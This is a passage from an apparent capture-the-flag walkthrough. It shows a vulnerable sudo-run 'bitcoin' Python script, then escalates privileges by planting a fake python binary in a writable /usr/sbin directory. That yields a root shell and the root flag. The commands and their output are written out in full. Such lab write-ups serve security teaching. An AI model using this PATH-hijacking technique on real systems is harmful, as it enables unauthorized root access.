<span class="kn">import</span><span class="w"> </span><span class="nn">sys</span>
<span class="kn">import</span><span class="w"> </span><span class="nn">os</span>

<span class="n">result</span> <span class="o">=</span> <span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>

<span class="nb">print</span> <span class="s2">"Saving "</span> <span class="o">+</span> <span class="n">result</span> <span class="o">+</span> <span class="s2">" BitCoin(s) For Later Use "</span>

<span class="n">test</span> <span class="o">=</span> <span class="n">raw_input</span><span class="p">(</span><span class="s2">"Do you want to make a transfer? Y/N&nbsp;: "</span><span class="p">)</span>

<span class="k">if</span> <span class="n">test</span> <span class="o">==</span> <span class="s2">"Y"</span><span class="p">:</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="nb">print</span> <span class="s2">"Transfering "</span> <span class="o">+</span> <span class="n">result</span> <span class="o">+</span> <span class="s2">" BitCoin(s) "</span>
        <span class="n">s</span> <span class="o">=</span> <span class="n">socket</span><span class="o">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="o">.</span><span class="n">AF_INET</span><span class="p">,</span><span class="n">socket</span><span class="o">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span>
        <span class="n">connect</span> <span class="o">=</span> <span class="n">s</span><span class="o">.</span><span class="n">connect</span><span class="p">((</span><span class="s2">"127.0.0.1"</span><span class="p">,</span><span class="mi">3010</span><span class="p">))</span>
        <span class="n">s</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="s2">"Transfer&nbsp;: "</span> <span class="o">+</span> <span class="n">result</span> <span class="o">+</span> <span class="s2">"To https://transfer.bitcoins.com"</span><span class="p">)</span>
        <span class="n">time</span><span class="o">.</span><span class="n">sleep</span><span class="p">(</span><span class="mf">2.5</span><span class="p">)</span>
        <span class="nb">print</span> <span class="p">(</span><span class="s2">"Transfer Completed Successfully..."</span><span class="p">)</span>
        <span class="n">time</span><span class="o">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
        <span class="n">s</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
    <span class="k">except</span><span class="p">:</span>
        <span class="nb">print</span><span class="p">(</span><span class="s2">"Error!"</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
    <span class="nb">print</span><span class="p">(</span><span class="s2">"Quitting..."</span><span class="p">)</span>
    <span class="n">time</span><span class="o">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
</pre></div>
<div class="mw-heading mw-heading2"><h2 id="Hijack_the_python_binary">Hijack the python binary</h2></div>
<p>As <code>python</code> is called with a relative path, we can hijack the python binary. Checking the <code>PATH</code> environment variable:
</p>
<pre>Orka@osboxes:/$ echo $PATH
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games</pre>
<p>Write access to /usr/sbin:
</p>
<pre>Orka@osboxes:/$ ls -la /usr/sbin/ | head
ls -la /usr/sbin/ | head
total 41284
drwxrwxr-x  2 root Orka    12288 Jan 23 16:01 . &lt;----------------- write access
drwxr-xr-x 11 root root     4096 Feb 26  2019 ..
lrwxrwxrwx  1 root root        7 Aug 12  2020 a2disconf -&gt; a2enmod
lrwxrwxrwx  1 root root        7 Aug 12  2020 a2dismod -&gt; a2enmod
lrwxrwxrwx  1 root root        7 Aug 12  2020 a2dissite -&gt; a2enmod
lrwxrwxrwx  1 root root        7 Aug 12  2020 a2enconf -&gt; a2enmod
-rwxr-xr-x  1 root root    15424 Jul 15  2020 a2enmod
lrwxrwxrwx  1 root root        7 Aug 12  2020 a2ensite -&gt; a2enmod
-rwxr-xr-x  1 root root     9870 Aug 12  2020 a2query
ls: write error: Broken pipe</pre>
<p>Let’s write a fake <code>python</code> binary in <code>/usr/bin/</code> that will spawn a root shell:
</p>
<pre>$ cat &gt; /usr/sbin/python &lt;&lt; EOF
#!/bin/bash
/bin/bash
EOF
$ chmod +x /usr/sbin/python</pre>
<div class="mw-heading mw-heading2"><h2 id="Root_access">Root access</h2></div>
<p>Now, running the program will spawn a root shell and we can get the root flag:
</p>
<pre>Orka@osboxes:/$ cat &gt; /usr/sbin/python &lt;&lt; EOF
#!/bin/bash
/bin/bash
EOF
cat &gt; /usr/sbin/python &lt;&lt; EOF
&gt; #!/bin/bash
&gt; /bin/bash
&gt; EOF
Orka@osboxes:/$ chmod +x /usr/sbin/python
chmod +x /usr/sbin/python
Orka@osboxes:/$ sudo /home/Orka/Desktop/bitcoin
sudo /home/Orka/Desktop/bitcoin
Enter the password&nbsp;: password
password
Access Granted...
            User Manual:            
Maximum Amount Of BitCoins Possible To Transfer at a time&nbsp;: 9 
Amounts with more than one number will be stripped off! 
And Lastly, be careful, everything is logged&nbsp;:) 
Amount Of BitCoins&nbsp;: 20
20
root@osboxes:/# id
id
uid=0(root) gid=0(root) groups=0(root)
root@osboxes:/# cat /root/root.txt
cat /root/root.txt
f4e788f87cc3afaecbaf0f0fe9ae6ad7</pre>
<p>Root flag: <code>f4e788f87cc3afaecbaf0f0fe9ae6ad7</code>
</p>
<!-- 
NewPP limit report
Cached time: 20260416101101
Cache expiry: 86400
Reduced expiry: false
Complications: [show‐toc]
CPU time usage: 0.051 seconds
Real time usage: 0.721 seconds
Preprocessor visited node count: 155/1000000
Revision size: 17155/2097152 bytes
Post‐expand include size: 0/2097152 bytes
Template argument size: 0/2097152 bytes
Highest expansion depth: 2/100
Expensive parser function count: 2/100
Unstrip recursion depth: 0/20
Unstrip post‐expand size: 26896/5000000 bytes
-->
<!--
Transclusion expansion time report (%,ms,calls,template)
100.00%    0.000      1 -total
-->

<!-- Saved in parser cache with key ald1210912434520:pcache:7002:|#|:idhash:canonical and timestamp 20260416101101 and revision id 38714. Rendering was triggered because: page_view
 -->
</div>]]></description>
        </item>
    </channel>
</rss>
